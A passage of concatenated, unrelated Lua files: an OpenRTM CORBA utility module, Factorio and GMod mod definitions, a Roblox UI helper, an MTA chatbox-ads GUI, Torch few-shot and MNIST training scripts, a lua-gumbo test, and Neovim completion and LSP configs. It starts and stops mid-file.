local Manager = require "openrtm.Manager"
local ReturnCode_t = Manager._ReturnCode_t
if port_ref == oil.corba.idl.null then
return ReturnCode_t.BAD_PARAMETER
end
return NVUtil.getReturnCode(port_ref:disconnect_all())
end
-- ポート名、全コネクタ切断
-- @param port_name ポート名
-- RTCをrtcloc、rtcname形式で指定する
-- rtcname://localhost/test.host_cxt/ConsoleIn0.out
-- @return リターンコード
-- RTC_OK:切断成功
CORBA_RTCUtil.disconnect_all_by_name = function(port_name)
local Manager = require "openrtm.Manager"
local ReturnCode_t = Manager._ReturnCode_t
local port_ref = CORBA_RTCUtil.get_port_by_url(port_name)
if port_ref == oil.corba.idl.null then
return ReturnCode_t.BAD_PARAMETER
end
return NVUtil.getReturnCode(port_ref:disconnect_all())
end
-- rtcloc、rtcname形式でポートを取得する
-- @param port_name ポート名
-- RTCをrtcloc、rtcname形式で指定する
-- rtcname://localhost/test.host_cxt/ConsoleIn0.out
-- @return ポート
CORBA_RTCUtil.get_port_by_url = function(port_name)
local Manager = require "openrtm.Manager"
local mgr = Manager:instance()
local nm = mgr:getNaming()
local p = StringUtil.split(port_name, "%.")
if #p < 2 then
return oil.corba.idl.null
end
local tmp = StringUtil.split(port_name, "%.")
tmp[#tmp] = nil
--print(StringUtil.flatten(tmp, "%."))
local rtcs = nm:string_to_component(StringUtil.flatten(tmp, "%."))
if #rtcs < 1 then
return oil.corba.idl.null
end
local pn = StringUtil.split(port_name, "/")
return CORBA_RTCUtil.get_port_by_name(rtcs[1],pn[#pn])
end
-- ポート1と接続しているポートとポート2が一致した場合にコネクタを切断
-- @param localport ポート1
-- @param othername ポート2
-- @return リターンコード
-- RTC_OK:切断成功
-- BAD_PARAMETER:接続していなかった場合など
CORBA_RTCUtil.disconnect_by_port_name = function(localport, othername)
local Manager = require "openrtm.Manager"
local ReturnCode_t = Manager._ReturnCode_t
if localport == oil.corba.idl.null then
return ReturnCode_t.BAD_PARAMETER
end
local prof = localport:get_port_profile()
if prof.name == othername then
return ReturnCode_t.BAD_PARAMETER
end
local conprof = localport:get_connector_profiles()
for k,c in ipairs(conprof) do
for k2,p in ipairs(c.ports) do
if p ~= oil.corba.idl.null then
local pp = p:get_port_profile()
--print(pp.name,othername)
if pp.name == othername then
return CORBA_RTCUtil.disconnect(c)
end
end
end
end
return ReturnCode_t.BAD_PARAMETER
end
-- コンフィギュレーションセットをプロパティ形式で取得
-- @param rtc RTC
-- @param conf_name コンフィギュレーションセット名
-- @return コンフィギュレーションセット(プロパティ形式)
CORBA_RTCUtil.get_configuration = function(rtc, conf_name)
local conf = rtc:get_configuration()
local confset = conf:get_configuration_set(conf_name)
local confData = confset.configuration_data
local prop = Properties.new()
NVUtil.copyToProperties(prop, confData)
return prop
end
-- コンフィギュレーションパラメータの取得
-- @param rtc RTC
-- @param confset_name コンフィギュレーションセット名
-- @param value_name パラメータ名
-- @return パラメータ
CORBA_RTCUtil.get_parameter_by_key = function(rtc, confset_name, value_name)
local conf = rtc:get_configuration()
local confset = conf:get_configuration_set(confset_name)
local confData = confset.configuration_data
local prop = Properties.new()
NVUtil.copyToProperties(prop, confData)
return prop:getProperty(value_name)
end
-- アクティブなコンフィギュレーションセット名を取得
-- @param rtc RTC
-- @return コンフィギュレーションセット名
CORBA_RTCUtil.get_active_configuration_name = function(rtc)
local conf = rtc:get_configuration()
local confset = conf:get_active_configuration_set()
return confset.id
end
-- アクティブなコンフィギュレーションセットをプロパティ形式で取得
-- @param rtc RTC
-- @return コンフィギュレーションセット(プロパティ形式)
CORBA_RTCUtil.get_active_configuration = function(rtc)
local conf = rtc:get_configuration()
local confset = conf:get_active_configuration_set()
local confData = confset.configuration_data
local prop = Properties.new()
NVUtil.copyToProperties(prop, confData)
return prop
end
-- コンフィギュレーションパラメータの設定
-- @param rtc RTC
-- @param confset_name コンフィギュレーションセット名
-- @param value_name パラメータ名
-- @param value 設定する値
-- @return true:設定成功
CORBA_RTCUtil.set_configuration = function(rtc, confset_name, value_name, value)
local conf = rtc:get_configuration()
local confset = conf:get_configuration_set(confset_name)
CORBA_RTCUtil.set_configuration_parameter(conf, confset, value_name, value)
conf:activate_configuration_set(confset_name)
return true
end
-- アクティブなコンフィギュレーションセットのパラメータを設定
-- @param rtc RTC
-- @param value_name パラメータ名
-- @param value 設定する値
-- @return true:設定成功
CORBA_RTCUtil.set_active_configuration = function(rtc, value_name, value)
local conf = rtc:get_configuration()
local confset = conf:get_active_configuration_set()
CORBA_RTCUtil.set_configuration_parameter(conf, confset, value_name, value)
conf:activate_configuration_set(confset.id)
return true
end
-- コンフィギュレーションパラメータ設定
-- @param conf コンフィギュレーション
-- @param confset コンフィギュレーションセット
-- @param value_name パラメータ名
-- @param value 設定する値
-- @return true:設定成功
CORBA_RTCUtil.set_configuration_parameter = function(conf, confset, value_name, value)
local confData = confset.configuration_data
local prop = Properties.new()
NVUtil.copyToProperties(prop, confData)
prop:setProperty(value_name,value)
NVUtil.copyFromProperties(confData,prop)
confset.configuration_data = confData
conf:set_configuration_set_values(confset)
return true
end
return CORBA_RTCUtil
|
uranium_basic_belt_animation_set =
{
animation_set =
{
filename = "__uraniumlogistics__/graphics/entity/uranium-transport-belt/uranium-transport-belt.png",
priority = "extra-high",
width = 64,
height = 64,
frame_count = 16,
direction_count = 20,
hr_version =
{
filename = "__uraniumlogistics__/graphics/entity/uranium-transport-belt/hr-uranium-transport-belt.png",
priority = "extra-high",
width = 128,
height = 128,
scale = 0.5,
frame_count = 16,
direction_count = 20
}
},
}
|
local module = {}
module.new = function(Parent: Instance)
local Comp = Instance.new("UIPadding")
local t = {
["Left"] = UDim.new(0, 0),
["Right"] = UDim.new(0, 0),
["Top"] = UDim.new(0, 0),
["Bottom"] = UDim.new(0, 0),
["Parent"] = Parent
}
local function cook()
for i,v in pairs(t) do
if typeof(v) == "UDim" then
Comp["Padding" .. i] = v
elseif i == "Parent" then
Comp.Parent = Parent
end
end
end
return setmetatable({}, {
__index = function(_, key: string)
return t[key]
end,
__newindex = function(_, key: string, value: any)
if t[key] then
t[key] = value
cook()
return t[key]
end
end,
})
end
return module
|
local t = require 'torch'
local nn = require 'nn'
local autograd = require 'autograd'
local util = require 'util.util'
local _ = require 'moses'
function getMatchingNet(opt)
local model = {}
-- load and functionalize cosine-similarity layer
local cosineSim = autograd.functionalize(nn.CosineDistance())
-- load embedding model (simple or FCE)
local embedModel = require(opt.embedModel)(opt)
local cast = "float"
if opt.useCUDA then
cast = "cuda"
end
model.params = autograd.util.cast(embedModel.params, cast)
-- set training or evaluate function
model.set = embedModel.set
model.save = embedModel.save
model.load = embedModel.load
local lossF, _ = autograd.functionalize(util.localize(
nn.CrossEntropyCriterion(), opt))
model.forward = function(params, input)
local trainInput = input[1]
local trainTarget = input[2]
local testInput = input[3]
local batchSize = input[3]:size(1)
local y_one_hot = autograd.util.oneHot(trainTarget, opt.nClasses.train)
-- embed support set & test items using g and f respectively
local gS = embedModel.embedS(params, trainInput)
local fX = embedModel.embedX(params, testInput, gS, opt.steps)
-- repeat tensors so that can get cosine sims in one call
local repeatgS = torch.repeatTensor(gS, torch.size(fX, 1), 1)
local repeatfX = torch.reshape(torch.repeatTensor(fX, 1, torch.size(gS, 1)),
torch.size(fX, 1)*torch.size(gS,1), torch.size(fX, 2))
-- weights are num_test x num_train (weights per test item)
local weights = torch.reshape(cosineSim({repeatgS, repeatfX}),
torch.size(fX, 1), torch.size(gS, 1), 1)
-- one-hot matrix of train labels is expanded to num_train x num_test x num_labels
local expandOneHot = torch.expand(torch.reshape(y_one_hot, 1,
torch.size(y_one_hot, 1), torch.size(y_one_hot, 2)),
fX:size(1), torch.size(y_one_hot, 1), torch.size(y_one_hot, 2))
-- weights are expanded to match one-hot matrix
local expandWeights = torch.expandAs(weights, expandOneHot)
-- cmul one-hot matrix by weights and sum along rows to get weight per label
-- final size: num_train x num_labels
local out = torch.reshape(torch.sum(
torch.cmul(expandWeights, expandOneHot), 2),
torch.size(fX, 1), torch.size(y_one_hot, 2))
return out
end
model.f = function(params, input, testY)
local lossT = {}
local outT = {}
for i=1,#input do
-- model's log-sofmax output
local out = model.forward(params, input[i])
-- calculate NLL
local loss = lossF(out, testY[i])
lossT[i] = loss
outT[i] = out
end
return torch.mean(autograd.util.cat(lossT)), torch.cat(outT, 1)
end
model.df = embedModel.df(autograd(model.f))
return model
end
return function(opt, dataset)
local metaTrainSet = dataset.train
local metaValidationSet = dataset.validation
local metaTestSet = dataset.test
-- model
local network = getMatchingNet(opt)
print('params: ')
print(network.params)
-- keep track of errors
local avgs = {}
local trainConf = optim.ConfusionMatrix(opt.nClasses.train)
local valConf = {}
local testConf = {}
for _,k in pairs(opt.nTestShot) do
valConf[k] = optim.ConfusionMatrix(opt.nClasses.val)
testConf[k] = optim.ConfusionMatrix(opt.nClasses.test)
avgs[k] = 0
end
-- load params from file?
if opt.paramsFile and opt.networkFile then
print('loading from params: ' .. opt.paramsFile)
network.params = torch.load(opt.paramsFile)
local cast = "float"
if opt.useCUDA then
cast = "cuda"
end
network.params = autograd.util.cast(network.params, cast)
print('loading from network: ' .. opt.networkFile)
network.load(opt.networkFile, opt)
end
local nEpisode = opt.nEpisode
local printPer = opt.printPer
local timer = torch.Timer()
local cost = 0
local optimState = {learningRate=opt.learningRate}
local evalCounter = 1
----------------------------------------------------------------------------
-- meta-training
-- init optimizer
local optimizer, optimState = autograd.optim[opt.optimMethod](network.df,
tablex.deepcopy(opt), network.params)
-- set net for training
network.set('training')
-- train episode loop
for d=1,nEpisode do
local batchInput = {}
local batchTarget = {}
-- get all train examples
local trainSet, testSet = metaTrainSet.createEpisode(
{testBatchSize=opt.batchSize})
local trainData = trainSet:get()
local testData = testSet:get()
table.insert(batchInput, {trainData.input, trainData.target, testData.input})
table.insert(batchTarget, testData.target)
local gParams, loss, prediction, _ = optimizer(batchInput, batchTarget)
cost = cost + loss
-- update confusion matrix
local idx = 1
for i=1,batchTarget[1]:size(1) do
trainConf:add(prediction[idx], batchTarget[1][i])
idx = idx + 1
end
if math.fmod(d, opt.printPer) == 0 then
local elapsed = timer:time().real
print('Training progress')
print(
string.format("Dataset: %d, Train Loss: %.3f, LR: %.5f, Time: %.4f s",
d, cost/(printPer), util.getCurrentLR(optimState[1]), elapsed))
print(trainConf)
trainConf:zero()
-- evaluate validation set
network.set('evaluate')
for v=1,opt.nValidationEpisode do
local trainSet, testSet = metaValidationSet.createEpisode(
{testBatchSize=opt.batchSize})
-- get all train examples
local trainData = trainSet:get()
-- k-shot loop
for _,k in pairs(opt.nTestShot) do
local input, target = util.extractK(trainData.input,
trainData.target, k, opt.nClasses.val)
-- minibatch loop
local nBatches = testSet:size()
for idx=1,nBatches do
-- process test example
local testData = testSet:get()
local pred = network.forward(network.params, {input, target,
testData.input})
for i=1,pred:size(1) do
valConf[k]:add(pred[i], testData.target[i])
end
end
end
end
for _,k in pairs(opt.nTestShot) do
print('Validation Accuracy (' .. opt.nValidationEpisode ..
' episodes, ' .. k .. '-shot)')
print(valConf[k])
valConf[k]:zero()
end
cost = 0
timer = torch.Timer()
network.set('training')
end
if math.fmod(d, 1000) == 0 then
local prevIterParams = util.deepClone(network.params)
torch.save("matching-net_params_snapshot.th",
autograd.util.cast(prevIterParams, "float"))
network.save()
end
end
----------------------------------------------------------------------------
-- meta-testing
-- set net for testing
network.set('evaluate')
local ret = {}
_.each(opt.nTest, function(i, n)
local acc = {}
for _, k in pairs(opt.nTestShot) do
acc[k] = torch.zeros(n)
end
for d=1,n do
local trainSet, testSet = metaTestSet.createEpisode(
{testBatchSize=opt.batchSize})
-- get all train examples
local trainData = trainSet:get()
for _, k in pairs(opt.nTestShot) do
local input, target = util.extractK(trainData.input, trainData.target,
k, opt.nClasses.test)
-- minibatch loop
local nBatches = testSet:size()
for idx=1,nBatches do
-- process test example
local testData = testSet:get()
local pred = network.forward(network.params,
{input, target, testData.input})
for i=1,pred:size(1) do
testConf[k]:add(pred[i], testData.target[i])
end
testConf[k]:updateValids()
acc[k][d] = testConf[k].totalValid*100
testConf[k]:zero()
end
end
end
for _,k in pairs(opt.nTestShot) do
print('Test Accuracy (' .. n .. ' episodes, ' .. k .. '-shot)')
print(acc[k]:mean())
end
ret[n] = _.values(_.map(acc, function(i, val)
local low = val:mean() - 1.96*(val:std()/math.sqrt(val:size(1)))
local high = val:mean() + 1.96*(val:std()/math.sqrt(val:size(1)))
return i .. '-shot: ' .. val:mean() .. '; ' .. val:std()
.. '; [' .. low .. ',' .. high .. ']'
end))
end)
return ret
end
|
CurrentEditRow = false
GUIEditor = {
label = {},
button = {},
window = {},
gridlist = {},
memo = {}
}
addEventHandler("onClientResourceStart", resourceRoot,
function()
local screenW, screenH = guiGetScreenSize()
GUIEditor.window[1] = guiCreateWindow((screenW - 555) / 2, (screenH - 439) / 2, 555, 439, "Manage Chatbox Ads", false)
guiWindowSetSizable(GUIEditor.window[1], false)
guiSetVisible( GUIEditor.window[1], false )
GUIEditor.button[1] = guiCreateButton(456, 397, 82, 32, "Close", false, GUIEditor.window[1])
guiSetProperty(GUIEditor.button[1], "NormalTextColour", "FFAAAAAA")
GUIEditor.button[2] = guiCreateButton(246, 397, 82, 32, "Update", false, GUIEditor.window[1])
guiSetProperty(GUIEditor.button[2], "NormalTextColour", "FFAAAAAA")
GUIEditor.gridlist[1] = guiCreateGridList(67, 85, 441, 246, false, GUIEditor.window[1])
guiGridListSetSortingEnabled( GUIEditor.gridlist[1], false )
guiGridListAddColumn(GUIEditor.gridlist[1], "Ads", 0.9)
GUIEditor.label[1] = guiCreateLabel(66, 25, 442, 50, "Here you can manage the chatbox ads.\nBe sure to update once you are done!", false, GUIEditor.window[1])
guiLabelSetHorizontalAlign(GUIEditor.label[1], "center", false)
GUIEditor.button[3] = guiCreateButton(67, 336, 67, 26, "Add", false, GUIEditor.window[1])
guiSetProperty(GUIEditor.button[3], "NormalTextColour", "FFAAAAAA")
GUIEditor.button[4] = guiCreateButton(440, 336, 67, 26, "Remove", false, GUIEditor.window[1])
guiSetProperty(GUIEditor.button[4], "NormalTextColour", "FFAAAAAA")
GUIEditor.button[8] = guiCreateButton(156, 336, 67, 26, "Edit", false, GUIEditor.window[1])
guiSetProperty(GUIEditor.button[8], "NormalTextColour", "FFAAAAAA")
GUIEditor.window[2] = guiCreateWindow(683, 321, 555, 439, "", false)
guiSetVisible( GUIEditor.window[2], false )
guiWindowSetSizable(GUIEditor.window[2], false)
GUIEditor.memo[1] = guiCreateMemo(63, 89, 439, 240, "", false, GUIEditor.window[2])
GUIEditor.button[6] = guiCreateButton(218, 341, 98, 32, "OK", false, GUIEditor.window[2])
guiSetProperty(GUIEditor.button[6], "NormalTextColour", "FFAAAAAA")
GUIEditor.button[7] = guiCreateButton(404, 341, 98, 32, "Cancel", false, GUIEditor.window[2])
guiSetProperty(GUIEditor.button[7], "NormalTextColour", "FFAAAAAA")
GUIEditor.label[2] = guiCreateLabel(59, 30, 443, 44, "Set the ad text.\nBe sure to keep it short! (Big messages will have multiple outputChatBox()'s' )", false, GUIEditor.window[2])
guiLabelSetHorizontalAlign(GUIEditor.label[2], "center", false)
end
)
addEventHandler("onClientGUIClick", root,
function()
if source == GUIEditor.button[1] then
guiSetVisible(GUIEditor.window[1],false)
showCursor(false)
elseif source == GUIEditor.button[3] then
editnewText("new")
guiSetVisible(GUIEditor.window[1],false)
guiSetVisible(GUIEditor.window[2],true)
elseif source == GUIEditor.button[7] then
CurrentEditRow = false
guiSetVisible(GUIEditor.window[1],true)
guiSetVisible(GUIEditor.window[2],false)
elseif source == GUIEditor.button[4] then
removeAd()
elseif source == GUIEditor.button[6] then
saveAd()
elseif source == GUIEditor.button[8] then
editAd()
elseif source == GUIEditor.button[2] then
updateAds()
end end)
addEventHandler("onClientGUIFocus", root,
function()
if source == GUIEditor.memo[1] then
guiSetInputMode( "no_binds" )
end end)
addEventHandler("onClientGUIBlur", root,
function()
if source == GUIEditor.memo[1] then
guiSetInputMode( "allow_binds" )
end end)
function editAd()
local item = guiGridListGetSelectedItem( GUIEditor.gridlist[1] )
if item == -1 then return end
CurrentEditRow = item
editnewText("edit")
local rowtext = guiGridListGetItemData( GUIEditor.gridlist[1], item,1 )
guiSetText( GUIEditor.memo[1], rowtext )
guiSetVisible(GUIEditor.window[1],false)
guiSetVisible(GUIEditor.window[2],true)
end
function removeAd()
local item = guiGridListGetSelectedItem( GUIEditor.gridlist[1] )
if item == -1 then return end
guiGridListRemoveRow( GUIEditor.gridlist[1], item )
end
function saveAd()
guiGridListAutoSizeColumn(GUIEditor.gridlist[1],1)
local text = guiGetText(GUIEditor.memo[1])
if #text < 1 then outputChatBox("Message too short!",255,0,0) return end
local text = string.gsub(text,"\n"," ") -- remove linebreaks
if windowmode == "new" then
local row = guiGridListAddRow( GUIEditor.gridlist[1] )
guiGridListSetItemText( GUIEditor.gridlist[1], row, 1, text, false, false )
guiGridListSetItemData( GUIEditor.gridlist[1], row, 1, text)
outputChatBox("Message added to ad queue, don't forget to update!",0,255,0)
guiSetVisible(GUIEditor.window[1],true)
guiSetVisible(GUIEditor.window[2],false)
elseif windowmode == "edit" then
local row = CurrentEditRow
guiGridListSetItemText( GUIEditor.gridlist[1], row, 1, text, false, false )
guiGridListSetItemData( GUIEditor.gridlist[1], row, 1, text)
outputChatBox("Message edited, don't forget to update!",0,255,0)
guiSetVisible(GUIEditor.window[1],true)
guiSetVisible(GUIEditor.window[2],false)
end
end
addEvent("editChatboxAds", true)
addEventHandler("editChatboxAds", resourceRoot,
function(tbl)
populateAdsGridlist(tbl)
guiSetVisible(GUIEditor.window[1],true)
showCursor(true)
end)
function populateAdsGridlist(tbl)
guiGridListClear( GUIEditor.gridlist[1] )
for f, u in ipairs(tbl) do
local row = guiGridListAddRow( GUIEditor.gridlist[1] )
guiGridListSetItemText( GUIEditor.gridlist[1], row, 1, u, false, false )
guiGridListSetItemData( GUIEditor.gridlist[1], row, 1, u)
end
guiGridListAutoSizeColumn(GUIEditor.gridlist[1],1)
end
function editnewText(td)
if td == "edit" then
windowmode = "edit"
guiSetText( GUIEditor.window[2], "Edit chatbox ad" )
elseif td == "new" then
windowmode = "new"
guiSetText(GUIEditor.memo[1],"")
guiSetText( GUIEditor.window[2], "Add new chatbox ad" )
end
end
function updateAds()
local niuAdTable = {}
local rowCount = guiGridListGetRowCount( GUIEditor.gridlist[1] )
local rowCount = rowCount - 1
for i=0,rowCount do
local theText = guiGridListGetItemData( GUIEditor.gridlist[1], i, 1 )
table.insert(niuAdTable,theText)
end
rowLoop = nil
triggerServerEvent( "clientSendNewAds", root, niuAdTable )
outputChatBox("New ad list updated and is now in queue!",0,255,0)
end
|
local map = require('helper').map
vim.opt.completeopt = {'menuone', 'noselect'}
require'compe'.setup {
enabled = true,
autocomplete = true,
debug = false,
min_length = 1,
preselect = 'enable',
throttle_time = 80,
source_timeout = 200,
resolve_timeout = 800,
incomplete_delay = 400,
max_abbr_width = 100,
max_kind_width = 100,
max_menu_width = 100,
documentation = true,
source = {path = true, buffer = true, calc = true, nvim_lsp = true, vim_dadbod_completion = true}
}
map('i', '<C-Space>', 'compe#complete()', {expr = true, silent = true})
map('i', '<CR>', "compe#confirm('<CR>')", {expr = true, silent = true})
map('i', '<C-e>', "compe#close('<C-e>')", {expr = true, silent = true})
map('i', '<C-f>', "compe#scroll({ 'delta': +4 })", {expr = true, silent = true})
map('i', '<C-d>', "compe#scroll({ 'delta': -4 })", {expr = true, silent = true})
|
local gumbo = require "gumbo"
local document = assert(gumbo.parse [[
<!DOCTYPE html>
<!-- Comment #1 -->
<!-- Comment #2 -->
<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en">
<head>
<meta charset="utf-8"/>
<title>lua-gumbo</title>
</head>
<body>
<h1>Document.serialize Test</h1>
</body>
</html>
]])
assert(document:serialize() == [[
<!DOCTYPE html>
<!-- Comment #1 -->
<!-- Comment #2 -->
<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en"><head>
<meta charset="utf-8">
<title>lua-gumbo</title>
</head>
<body>
<h1>Document.serialize Test</h1>
</body></html>
]])
|
data.raw["gui-style"].default["blueprintstring_button_style"] =
{
type = "button_style",
font = "default-button",
default_font_color={r=1, g=1, b=1},
align = "center",
default_graphical_set =
{
type = "composition",
filename = "__core__/graphics/gui.png",
priority = "extra-high-no-scale",
corner_size = {3, 3},
position = {0, 0}
},
hovered_font_color={r=1, g=1, b=1},
hovered_graphical_set =
{
type = "composition",
filename = "__core__/graphics/gui.png",
priority = "extra-high-no-scale",
corner_size = {3, 3},
position = {0, 8}
},
clicked_font_color={r=1, g=1, b=1},
clicked_graphical_set =
{
type = "composition",
filename = "__core__/graphics/gui.png",
priority = "extra-high-no-scale",
corner_size = {3, 3},
position = {0, 16}
},
disabled_font_color={r=0.5, g=0.5, b=0.5},
disabled_graphical_set =
{
type = "composition",
filename = "__core__/graphics/gui.png",
priority = "extra-high-no-scale",
corner_size = {3, 3},
position = {0, 0}
},
pie_progress_color = {r=1, g=1, b=1},
left_click_sound =
{
filename = "__core__/sound/gui-click.ogg",
volume = 1
}
}
data.raw["gui-style"].default["blueprintstring_button_main"] =
{
type = "button_style",
parent = "button",
width = 33,
height = 33,
default_graphical_set =
{
type = "monolith",
monolith_image =
{
filename = "__blueprint-string__/graphics/gui.png",
priority = "extra-high-no-scale",
width = 36,
height = 36,
x = 0,
y = 0,
}
},
hovered_graphical_set =
{
type = "monolith",
monolith_image =
{
filename = "__blueprint-string__/graphics/gui.png",
priority = "extra-high-no-scale",
width = 36,
height = 36,
x = 0,
y = 36,
}
},
clicked_graphical_set =
{
type = "monolith",
monolith_image =
{
filename = "__blueprint-string__/graphics/gui.png",
width = 36,
height = 36,
x = 0,
y = 36,
}
},
left_click_sound =
{
filename = "__core__/sound/gui-click.ogg",
volume = 1
},
}
data.raw["gui-style"].default["blueprintstring_button_load"] =
{
type = "button_style",
parent = "button",
width = 33,
height = 33,
default_graphical_set =
{
type = "monolith",
monolith_image =
{
filename = "__blueprint-string__/graphics/gui.png",
priority = "extra-high-no-scale",
width = 36,
height = 36,
x = 72,
y = 0,
}
},
hovered_graphical_set =
{
type = "monolith",
monolith_image =
{
filename = "__blueprint-string__/graphics/gui.png",
priority = "extra-high-no-scale",
width = 36,
height = 36,
x = 72,
y = 36,
}
},
clicked_graphical_set =
{
type = "monolith",
monolith_image =
{
filename = "__blueprint-string__/graphics/gui.png",
width = 36,
height = 36,
x = 72,
y = 36,
}
},
left_click_sound =
{
filename = "__core__/sound/gui-click.ogg",
volume = 1
},
}
data.raw["gui-style"].default["blueprintstring_button_saveas"] =
{
type = "button_style",
parent = "button",
width = 33,
height = 33,
default_graphical_set =
{
type = "monolith",
monolith_image =
{
filename = "__blueprint-string__/graphics/gui.png",
priority = "extra-high-no-scale",
width = 36,
height = 36,
x = 36,
y = 0,
}
},
hovered_graphical_set =
{
type = "monolith",
monolith_image =
{
filename = "__blueprint-string__/graphics/gui.png",
priority = "extra-high-no-scale",
width = 36,
height = 36,
x = 36,
y = 36,
}
},
clicked_graphical_set =
{
type = "monolith",
monolith_image =
{
filename = "__blueprint-string__/graphics/gui.png",
width = 36,
height = 36,
x = 36,
y = 36,
}
},
left_click_sound =
{
filename = "__core__/sound/gui-click.ogg",
volume = 1
},
}
data.raw["gui-style"].default["blueprintstring_button_saveall"] =
{
type = "button_style",
parent = "button",
width = 33,
height = 33,
default_graphical_set =
{
type = "monolith",
monolith_image =
{
filename = "__blueprint-string__/graphics/gui.png",
priority = "extra-high-no-scale",
width = 36,
height = 36,
x = 108,
y = 0,
}
},
hovered_graphical_set =
{
type = "monolith",
monolith_image =
{
filename = "__blueprint-string__/graphics/gui.png",
priority = "extra-high-no-scale",
width = 36,
height = 36,
x = 108,
y = 36,
}
},
clicked_graphical_set =
{
type = "monolith",
monolith_image =
{
filename = "__blueprint-string__/graphics/gui.png",
width = 36,
height = 36,
x = 108,
y = 36,
}
},
left_click_sound =
{
filename = "__core__/sound/gui-click.ogg",
volume = 1
},
}
data.raw["gui-style"].default["blueprintstring_button_upgrade"] =
{
type = "button_style",
parent = "button",
width = 33,
height = 33,
default_graphical_set =
{
type = "monolith",
monolith_image =
{
filename = "__blueprint-string__/graphics/gui.png",
priority = "extra-high-no-scale",
width = 36,
height = 36,
x = 144,
y = 0,
}
},
hovered_graphical_set =
{
type = "monolith",
monolith_image =
{
filename = "__blueprint-string__/graphics/gui.png",
priority = "extra-high-no-scale",
width = 36,
height = 36,
x = 144,
y = 36,
}
},
clicked_graphical_set =
{
type = "monolith",
monolith_image =
{
filename = "__blueprint-string__/graphics/gui.png",
width = 36,
height = 36,
x = 144,
y = 36,
}
},
left_click_sound =
{
filename = "__core__/sound/gui-click.ogg",
volume = 1
},
}
|
HUD = {}
HUD.Name = "No hud"
function HUD:Init()
end
function HUD:DrawHud(vel, rev, gear, fuel, turbo, speed, scar, ply, isWideScreen, kilometersOrMiles)
end
function HUD:MenuElements(Panel)
end
SCarHudHandler:RegisterHUD(HUD)
|
local Prop = {}
Prop.Name = "Jail"
Prop.Government = true
Prop.Doors = {
{ Pos = Vector( -8463, 10425, -720 ), Locked = true },
{ Pos = Vector( -8463, 10519, -720 ), Locked = true },
{ Pos = Vector( -8135, 10425, -720 ), Locked = true },
{ Pos = Vector( -8135, 10519, -720 ), Locked = true },
{ Pos = Vector( -8189, 10404.59375, -720 ), Locked = true },
}
GM.Property:Register( Prop )
|
--
-- Created by IntelliJ IDEA.
-- User: bking
-- Date: 1/12/17
-- Time: 9:44 AM
-- To change this template use File | Settings | File Templates.
--
-- allows local imports
package.path = ';/Users/bking/IdeaProjects/LanguageModelRNN/?.lua;'..package.path
-- While unrelated to language modeling, this is a simple step 0 task to get aquainted with the nn package and torch
require 'nn'
require 'torch'
require 'util'
-- ============================================= PREPARING THE DATA ====================================================
-- This is a dataset consisting of a table of input, label pairs, where input is a torch.ByteTensor and label is a number class
dataset = dataset_from_csv('data/train.csv')
-- We received ByteTensors of shape (783 x 1) and we would like (28 x 28). To fix this, we need to resize and reshape
print('Beginning input tensor shape: ')
print(dataset[1][1]:size())
for i = 1, #dataset do
local x = dataset[i][1]:resize(784):reshape(28, 28)
dataset[i][1] = torch.DoubleTensor(1, 28, 28)
dataset[i][1][1] = x:double()
dataset[i][2] = torch.ByteTensor({dataset[i][2] + 1})
end
print('Current input tensor shape: ')
print(dataset[1][1]:size())
-- =============================================== SPECIFYING THE NN ARCHITECTURE ======================================
-- mlp is the wrapper for our NN. It is a sequential NN, in that layers are stacked operate as a simple feed-forward NN.
-- General gist of this architecture is that we are doing a single convolution and pooling, followed by a couple of fully
-- connected layers, and a final LogSoftMax for a probability over the 10 classes in {0-9}. ReLU is our chosen non-linearity
-- for convenience and quick training.
net = nn.Sequential()
-- a spatial convolution layer
net:add(nn.SpatialConvolution(1, 6, 5, 5))
net:add(nn.ReLU())
-- a max pooling layer (chooses max value from 2x2 squares, reduces information)
net:add(nn.SpatialMaxPooling(2,2,2,2))
net:add(nn.ReLU())
-- Re shape it to single dimmensional vectors, we no longer care about 2D structure
net:add(nn.View(864))
net:add(nn.Linear(864, 120)) -- fully connected layer (matrix multiplication between input and weights)
net:add(nn.ReLU()) -- non-linearity
net:add(nn.Linear(120, 84))
net:add(nn.ReLU()) -- non-linearity
net:add(nn.Linear(84, 10)) -- 10 is the number of outputs of the network (in this case, 10 digits)
net:add(nn.LogSoftMax()) -- final non-linearity puts makes classification a probabilitiy distribution
-- =============================================== SPECIFYING THE CRITERION ============================================
-- Here we use a negative log-likelihood criterion, which works well when our network outputs log-likelihoods (via LogSoftMax as the final layer)
criterion = nn.ClassNLLCriterion()
-- =============================================== TRAINING ============================================================
-- We train using Stochastic Gradient Descent. We set a learning rate and number of epochs of training
sgd_trainer = nn.StochasticGradient(net, criterion)
sgd_trainer.learningRate = 0.005
sgd_trainer.maxIteration = 5
-- now, sgd_trainer is prepared to do all the training for us, the reason we use the NN package in the first place instead of manipulating the tensors ourselves.
-- sgd_trainer:train(dataset)
-- =============================================== EVALUATION ==========================================================
|
-------------
-- LSP config
-------------
-- See ~/.dotfiles/vim/plugins.vim for the Plug directives
local lspconfig = require('lspconfig')
-- lsp_signature
-- https://github.com/ray-x/lsp_signature.nvim#full-configuration-with-default-values
local on_attach_lsp_signature = function(client, bufnr)
require('lsp_signature').on_attach({
bind = true, -- This is mandatory, otherwise border config won't get registered.
floating_window = true,
handler_opts = {
border = "single"
},
zindex = 99, -- <100 so that it does not hide completion popup.
fix_pos = false, -- Let signature window change its position when needed, see GH-53
toggle_key = '<M-x>', -- Press <Alt-x> to toggle signature on and off.
})
end
-- Customize LSP behavior
-- [[ A callback executed when LSP engine attaches to a buffer. ]]
local on_attach = function(client, bufnr)
-- Always use signcolumn for the current buffer
vim.wo.signcolumn = 'yes:1'
-- Activate LSP signature on attach.
on_attach_lsp_signature(client, bufnr)
-- Activate LSP status on attach (see a configuration below).
require('lsp-status').on_attach(client)
-- Keybindings
-- https://github.com/neovim/nvim-lspconfig#keybindings-and-completion
local function buf_set_keymap(...) vim.api.nvim_buf_set_keymap(bufnr, ...) end
local function buf_set_option(...) vim.api.nvim_buf_set_option(bufnr, ...) end
local opts = { noremap=true, silent=true }
-- See `:help vim.lsp.*` for documentation on any of the below functions
buf_set_keymap('n', 'gD', '<cmd>lua vim.lsp.buf.declaration()<CR>', opts)
if vim.fn.exists(':Telescope') then
buf_set_keymap('n', 'gr', '<cmd>Telescope lsp_references<CR>', opts)
buf_set_keymap('n', 'gd', '<cmd>Telescope lsp_definitions<CR>', opts)
buf_set_keymap('n', 'gi', '<cmd>Telescope lsp_implementations<CR>', opts)
else
